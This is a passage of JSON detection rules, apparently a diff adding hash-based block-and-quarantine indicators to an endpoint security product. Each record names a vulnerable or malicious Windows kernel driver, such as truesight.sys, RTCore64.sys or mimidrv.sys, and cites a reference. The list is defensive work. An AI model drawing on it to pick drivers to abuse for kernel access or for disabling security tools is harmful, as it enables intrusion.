+  "creation_date": "2026-03-23T11:45:31.151472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b34749d344404ea726643fdca9c68fe7fca58bf17d2baf57afacd1f5654793c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eac1fe17-9270-5699-81aa-2a6df35254d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473184Z",
+  "creation_date": "2026-03-23T11:45:30.473187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c5c6c350c8dd4ca90a8cca0ed1eeca185ebc67b1100935c8f03eb3032aca388",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eac65c31-301b-5b9c-9927-aea3d0796874",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606043Z",
+  "creation_date": "2026-03-23T11:45:29.606045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3503ea284b6819f9cb43b3e94c0bb1bf5945ccb37be6a898387e215197a4792a",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eac65cde-7450-5f8e-ad5c-ad17591f0cad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816711Z",
+  "creation_date": "2026-03-23T11:45:30.816713Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1076504a145810dfe331324007569b95d0310ac1e08951077ac3baf668b2a486",
+  "comment": "Vulnerable Kernel Driver (aka tdeio64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eac97563-a472-5e56-92c7-63d7fa9c6a8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617466Z",
+  "creation_date": "2026-03-23T11:45:29.617468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617473Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2182b6ef3255c7c1a69223cd3c2d68eb8ba3112ce433cd49cd803dc76412d4b",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eaca3cc5-3554-5b31-a3ad-b72ea6126aea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473266Z",
+  "creation_date": "2026-03-23T11:45:31.473270Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4af90ad45d4ddde16668ee510cea281c2b82ec1dd3781b091eb3769e76a6a54e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eacfa977-21a7-582c-a8a0-524f45888ad4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153718Z",
+  "creation_date": "2026-03-23T11:45:31.153720Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "079eb5d41b6caeb7ca008b3b22a1219fbb76a14327401071bd04fdc05d6e3301",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ead387ba-dcb9-55c2-a59c-aefc236565c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835720Z",
+  "creation_date": "2026-03-23T11:45:30.835722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835727Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80025dbd57fa67b9753652f1bedf4405cfd85e397f470a1cb820deedab1c9666",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ead912e0-3976-5b16-8a15-23ead6cf9af1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489196Z",
+  "creation_date": "2026-03-23T11:45:31.489198Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489203Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70f812f516906f4af9a2be348c4ed2f49589cfeddfa1d05b3863b0794d61178d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eae2f9fd-8894-573b-9b08-d27c448fd766",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970106Z",
+  "creation_date": "2026-03-23T11:45:29.970108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970113Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c13745de817eb38a092524cd3dae805c8fbde967e635e485243782db955508cc",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eae4ee15-3638-5cbd-955f-7fa122f9dd53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978458Z",
+  "creation_date": "2026-03-23T11:45:29.978460Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978465Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "959860cea7a720811a960e28e0318c470948d96ab3ba3312d20fea0f24bc0979",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb0856c4-59dc-5575-a9dc-02ab0f91c1e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144800Z",
+  "creation_date": "2026-03-23T11:45:32.144803Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144809Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d5e8700a434838eb63a0573178b4291f07a9d96dabfb4ead40253a3cd9edefd",
+  "comment": "Vulnerable Kernel Driver (aka ViveRRAudio.sys) [https://www.loldrivers.io/drivers/4cb95b41-43b4-4806-b536-ae5fd8c76b0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb0a86ab-4216-5ddd-90c3-5e84519d3022",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979446Z",
+  "creation_date": "2026-03-23T11:45:29.979448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6661320f779337b95bbbe1943ee64afb2101c92f92f3d1571c1bf4201c38c724",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb11ae03-395c-5eba-bb9f-1d9403a90a34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825651Z",
+  "creation_date": "2026-03-23T11:45:30.825653Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825659Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8404e44c1313e7d04dc89fd5e565f27696edb211da48992a843da5bb79eeef17",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb1484cf-c71e-5a2d-87fd-bf91c7397363",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985162Z",
+  "creation_date": "2026-03-23T11:45:29.985164Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985170Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e0eb0811a7cf1bdaf29d3d2cab373ca51eb8d8b58889ab7728e2d3aed244abe",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb1e05ef-f6e0-50e6-9534-544e7485ce8f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460494Z",
+  "creation_date": "2026-03-23T11:45:30.460497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460506Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f48f31bf9c6abbd44124b66bce2ab1200176e31ef1e901733761f2b5ceb60fb2",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb228c42-27b2-5d68-b9a7-4a2893b28e01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458344Z",
+  "creation_date": "2026-03-23T11:45:30.458347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458356Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "410d79a49c02da50f4567166d5acef977b5dbc3aafb67522939bf902e65596a5",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb2e91a7-b6ac-59d2-966c-2781a01d40a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498658Z",
+  "creation_date": "2026-03-23T11:45:31.498661Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498668Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a87819c0f9bc3a1c591d04a3d0bc08ba7275d8c85e59681a6bff4083fe91bd6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb30bdf3-2723-5cc7-8ec5-e450a07ac490",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150089Z",
+  "creation_date": "2026-03-23T11:45:31.150091Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a66de0bc76312ea46da3e5eda7fe9053ffd14a24a587baddafbdf487c85da68b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb48d59c-3700-5231-9d53-30f1c02c0e4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819244Z",
+  "creation_date": "2026-03-23T11:45:31.819247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819252Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d818b61ad6877c1e82c4ac32b86c2da42990919b1c61b068e279c8b5b46ffc4c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb581438-27f2-5038-9bf8-5009f963cc65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480868Z",
+  "creation_date": "2026-03-23T11:45:31.480886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480893Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e03dc0423f91a1d8b7832b10e87e44d89c3533bc5dd09fcbc8581cec881aa028",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb5fbdec-1845-501b-8519-86903bb30a58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470698Z",
+  "creation_date": "2026-03-23T11:45:30.470701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470710Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa659944a59430edc6162b285d0fa7b6fbfd28b9057f7286eee127888431844e",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eb687ac1-11a1-53ce-96ca-db9b29f7fb52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141183Z",
+  "creation_date": "2026-03-23T11:45:31.141185Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141191Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89de85cf244a5dc4591e4f733d8e722f68673b74ebdfafd674bf10f84c9a7b15",
